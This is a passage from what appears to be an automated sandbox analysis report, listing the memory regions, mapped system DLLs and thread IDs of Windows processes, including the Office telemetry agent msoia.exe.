"\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 3427 start_va = 0x2470000 end_va = 0x247ffff entry_point = 0x2470000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 3428 start_va = 0x2480000 end_va = 0x2480fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3429 start_va = 0x2db0000 end_va = 0x2dbffff entry_point = 0x0 region_type = private name = "private_0x0000000002db0000" filename = "" Region: id = 3430 start_va = 0x2ee0000 end_va = 0x2fdffff entry_point = 0x0 region_type = private name = "private_0x0000000002ee0000" filename = "" Region: id = 3431 start_va = 0x3ce0000 end_va = 0x3ddffff entry_point = 0x0 region_type = private name = "private_0x0000000003ce0000" filename = "" Region: id = 3432 start_va = 0x3e30000 end_va = 0x3eaffff entry_point = 0x0 region_type = private name = "private_0x0000000003e30000" filename = "" Region: id = 3433 start_va = 0x3f90000 end_va = 0x408ffff entry_point = 0x0 region_type = private name = "private_0x0000000003f90000" filename = "" Region: id = 3434 start_va = 0x4090000 end_va = 0x428ffff entry_point = 0x0 region_type = private name = "private_0x0000000004090000" filename = "" Region: id = 3435 start_va = 0x7fef46b0000 end_va = 0x7fef46cbfff entry_point = 0x7fef46b0000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 3436 start_va = 0x7fef46d0000 end_va = 0x7fef4731fff entry_point = 0x7fef46d0000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 3437 start_va = 0x7fef53d0000 end_va = 0x7fef53d7fff entry_point = 0x7fef53d0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 3438 start_va = 0x7fefae40000 end_va = 0x7fefae48fff entry_point = 0x7fefae40000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 3439 start_va = 0x7fefb5b0000 end_va = 0x7fefb5c0fff entry_point = 0x7fefb5b0000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 3440 start_va = 0x7fefcc40000 end_va = 0x7fefcc9afff entry_point = 0x7fefcc40000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 3441 start_va = 0x7fefcdc0000 end_va = 0x7fefce14fff entry_point = 0x7fefcdc0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 3442 start_va = 0x7fefd8c0000 end_va = 0x7fefd8f5fff entry_point = 0x7fefd8c0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 3443 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 3444 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 3445 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 3446 start_va = 0x2490000 end_va = 0x2491fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002490000" filename = "" Region: id = 3447 start_va = 0x3510000 end_va = 0x358ffff entry_point = 0x0 region_type = private name = "private_0x0000000003510000" filename = "" Region: id = 3448 start_va = 0x7fefae80000 end_va = 0x7fefaed2fff entry_point = 0x7fefae80000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 3449 start_va = 0x7fefc7c0000 end_va = 0x7fefc7c6fff entry_point = 0x7fefc7c0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 3450 start_va = 0x7fefcbb0000 end_va = 0x7fefcc06fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 3451 start_va = 0x7fefcdb0000 end_va = 0x7fefcdb6fff entry_point = 0x7fefcdb0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 3452 start_va = 0x7fefcf90000 end_va = 0x7fefcfb1fff entry_point = 0x7fefcf90000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 3453 start_va = 0x7fefcfc0000 end_va = 0x7fefd00dfff entry_point = 0x7fefcfc0000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Thread: id = 194 os_tid = 0x694 Thread: id = 202 os_tid = 0x714 Thread: id = 203 os_tid = 0x9f8 Thread: id = 205 os_tid = 0xb0 Thread: id = 208 os_tid = 0x6b8 Thread: id = 225 os_tid = 0xad0 Thread: id = 229 os_tid = 0xb18 Thread: id = 230 os_tid = 0xb28 Thread: id = 231 os_tid = 0xb2c Thread: id = 232 os_tid = 0xb30 Thread: id = 233 os_tid = 0xb24 Thread: id = 237 os_tid = 0xa2c Thread: id = 239 os_tid = 0xa18 Thread: id = 246 os_tid = 0xac4 Thread: id = 281 os_tid = 0x3c0 Thread: id = 284 os_tid = 0x684 Process: id = "19" image_name = "msoia.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\msoia.exe" page_root = "0x66365000" os_pid = "0x9d4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x5d4" cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe\" scan upload mininterval:2880" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e7e8" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2676 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2677 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2678 start_va = 0x110000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2679 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2680 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2681 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2682 start_va = 0x13f140000 end_va = 0x13f481fff entry_point = 0x13f140000 region_type = mapped_file name = "msoia.exe" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe") Region: id = 2683 start_va = 0x7feff900000 end_va = 0x7feff900fff entry_point = 0x7feff900000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2684 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2685 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2686 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2687 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2688 start_va = 0x40000 end_va = 0xa6fff entry_point = 0x40000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2689 start_va = 0x3e0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 2690 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x773c0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2691 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2692 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2693 start_va = 0x7fef7bc0000 end_va = 0x7fef7df9fff entry_point = 0x7fef7bc0000 region_type = mapped_file name = "appvisvsubsystems64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll") Region: id = 2694 start_va = 0x7fefd6e0000 end_va = 0x7fefd74afff entry_point = 0x7fefd6e0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2755 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2756 start_va = 0xb0000 end_va = 0xb0fff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 2757 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2758 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 2759 start_va = 0xe0000 end_va = 0xe6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2760 start_va = 0xf0000 end_va = 0xfffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 2761 start_va = 0x100000 end_va = 0x101fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2762 start_va = 0x210000 end_va = 0x30ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 2763 start_va = 0x4e0000 end_va = 0x667fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 2764 start_va = 0x670000 end_va = 0x7f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 2765 start_va = 0x800000 end_va = 0x1bfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 2766 start_va = 0x1c00000 end_va = 0x1ecefff entry_point = 0x1c00000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2767 start_va = 0x1ed0000 end_va = 0x22c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ed0000" filename = "" Region: id = 2768 start_va = 0x37620000 end_va = 0x3762ffff entry_point = 0x0 region_type = private name = "private_0x0000000037620000" filename = "" Region: id = 2769 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x774e0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2770 start_va = 0x7fef79d0000 end_va = 0x7fef7bb9fff entry_point = 0x7fef79d0000 region_type = mapped_file name = "c2r64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll") Region: id = 2771 start_va = 0x7fef9d20000 end_va = 0x7fef9d22fff entry_point = 0x7fef9d20000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 2772 start_va = 0x7fef9d30000 end_va = 0x7fef9d32fff entry_point = 0x7fef9d30000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 2773 start_va = 0x7fef9d40000 end_va = 0x7fef9d42fff entry_point = 0x7fef9d40000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 2774 start_va = 0x7fef9d50000 end_va = 0x7fef9d52fff entry_point = 0x7fef9d50000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 2775 start_va = 0x7fef9d60000 end_va = 0x7fef9d64fff entry_point = 0x7fef9d60000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 2776 start_va = 0x7fef9d70000 end_va = 0x7fef9d74fff entry_point = 0x7fef9d70000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 2777 start_va = 0x7fef9d80000 end_va = 0x7fef9d82fff entry_point = 0x7fef9d80000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 2778 start_va = 0x7fef9d90000 end_va = 0x7fef9e2bfff entry_point = 0x7fef9d90000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 2779 start_va = 0x7fef9e30000 end_va = 0x7fef9e33fff entry_point = 0x7fef9e30000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 2780 start_va = 0x7fef9e40000 end_va = 0x7fef9e43fff entry_point = 0x7fef9e40000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 2781 start_va = 0x7fef9e50000 end_va = 0x7fef9e52fff entry_point = 0x7fef9e50000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 2782 start_va = 0x7fef9e60000 end_va = 0x7fef9e63fff entry_point = 0x7fef9e60000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 2783 start_va = 0x7fef9e70000 end_va = 0x7fef9e72fff entry_point = 0x7fef9e70000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll") Region: id = 2784 start_va = 0x7fef9e80000 end_va = 0x7fef9e82fff entry_point = 0x7fef9e80000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 2785 start_va = 0x7fef9e90000 end_va = 0x7fef9e92fff entry_point = 0x7fef9e90000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 2786 start_va = 0x7fef9ea0000 end_va = 0x7fef9ea2fff entry_point = 0x7fef9ea0000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 2787 start_va = 0x7fef9eb0000 end_va = 0x7fef9eb2fff entry_point = 0x7fef9eb0000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll") Region: id = 2788 start_va = 0x7fef9ec0000 end_va = 0x7fef9ec2fff entry_point = 0x7fef9ec0000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 2789 start_va = 0x7fef9ed0000 end_va = 0x7fef9fc1fff entry_point = 0x7fef9ed0000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 2790 start_va = 0x7fef9fd0000 end_va = 0x7fef9fd3fff entry_point = 0x7fef9fd0000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 2791 start_va = 0x7fef9fe0000 end_va = 0x7fef9ff5fff entry_point = 0x7fef9fe0000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 2792 start_va = 0x7fefc8d0000 end_va = 0x7fefc8edfff entry_point = 0x7fefc8d0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 2793 start_va = 0x7fefd530000 end_va = 0x7fefd53efff entry_point = 0x7fefd530000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2794 start_va = 0x7fefd970000 end_va = 0x7fefda78fff entry_point = 0x7fefd970000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2795 start_va = 0x7fefda80000 end_va = 0x7fefdbacfff entry_point = 0x7fefda80000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2796 start_va = 0x7fefdce0000 end_va = 0x7fefdcedfff entry_point = 0x7fefdce0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2797 start_va = 0x7fefdcf0000 end_va = 0x7fefdd60fff entry_point = 0x7fefdcf0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2798 start_va = 0x7fefdd70000 end_va = 0x7fefde38fff entry_point = 0x7fefdd70000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2799 start_va = 0x7fefde50000 end_va = 0x7fefebd7fff entry_point = 0x7fefde50000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2800 start_va = 0x7fefebe0000 end_va = 0x7fefec0dfff entry_point = 0x7fefebe0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2801 start_va = 0x7fefed90000 end_va = 0x7fefee6afff entry_point = 0x7fefed90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2802 start_va = 0x7fefee70000 end_va = 0x7feff072fff entry_point = 0x7fefee70000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2803 start_va = 0x7feff2e0000 end_va = 0x7feff37efff entry_point = 0x7feff2e0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2804 start_va = 0x7feff380000 end_va = 0x7feff456fff entry_point = 0x7feff380000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2805 start_va = 0x7feff540000 end_va = 0x7feff5a6fff entry_point = 0x7feff540000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2806 start_va = 0x7feff830000 end_va = 0x7feff84efff entry_point = 0x7feff830000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2807 start_va = 0x7febd6d0000 end_va = 0x7febd6dffff entry_point = 0x0 region_type = private name = "private_0x000007febd6d0000" filename = "" Region: id = 2947 start_va = 0x310000 end_va = 0x310fff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 2948 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 2949 start_va = 0x7fef9a00000 end_va = 0x7fef9d15fff entry_point = 0x7fef9a00000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 2950 start_va = 0x7fefd420000 end_va = 0x7fefd42efff entry_point = 0x7fefd420000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2993 start_va = 0x330000 end_va = 0x330fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000330000" filename = "" Region: id = 2994 start_va = 0x340000 end_va = 0x340fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000340000" filename = "" Region: id = 2995 start_va = 0x390000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 2996 start_va = 0x22d0000 end_va = 0x23cffff entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 2997 start_va = 0x2480000 end_va = 0x24fffff entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2998 start_va = 0x2500000 end_va = 0x25defff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002500000" filename = "" Region: id = 2999 start_va = 0x2660000 end_va = 0x275ffff entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 3000 start_va = 0x2780000 end_va = 0x287ffff entry_point = 0x0 region_type = private name = "private_0x0000000002780000" filename = "" Region: id = 3001 start_va = 0x2970000 end_va = 0x2a6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 3002 start_va = 0x2a70000 end_va = 0x2b6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a70000" filename = "" Region: id = 3003 start_va = 0x2b70000 end_va = 0x2c6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b70000" filename = "" Region: id = 3004 start_va = 0x2df0000 end_va = 0x2eeffff entry_point = 0x0 region_type = private name = "private_0x0000000002df0000" filename = "" Region: id = 3005 start_va = 0x7fee2100000 end_va = 0x7fee219ffff entry_point = 0x7fee2100000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 3006 start_va = 0x7fef67d0000 end_va = 0x7fef6843fff entry_point = 0x7fef67d0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 3007 start_va = 0x7fef97e0000 end_va = 0x7fef99fcfff entry_point = 0x7fef97e0000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 3008 start_va = 0x7fefb1a0000 end_va = 0x7fefb1b4fff entry_point = 0x7fefb1a0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 3009 start_va = 0x7fefba20000 end_va = 0x7fefba37fff entry_point = 0x7fefba20000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 3010 start_va = 0x7fefbe50000 end_va = 0x7fefbea5fff entry_point = 0x7fefbe50000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3011 start_va = 0x7fefd3c0000 end_va = 0x7fefd3cafff entry_point = 0x7fefd3c0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 3012 start_va = 0x7fefd3f0000 end_va = 0x7fefd414fff entry_point = 0x7fefd3f0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3013 start_va = 0x7fefde40000 end_va = 0x7fefde47fff entry_point = 0x7fefde40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3014 start_va = 0x7feff5b0000 end_va = 0x7feff648fff entry_point = 0x7feff5b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3015 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 3016 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 3017 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3018 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 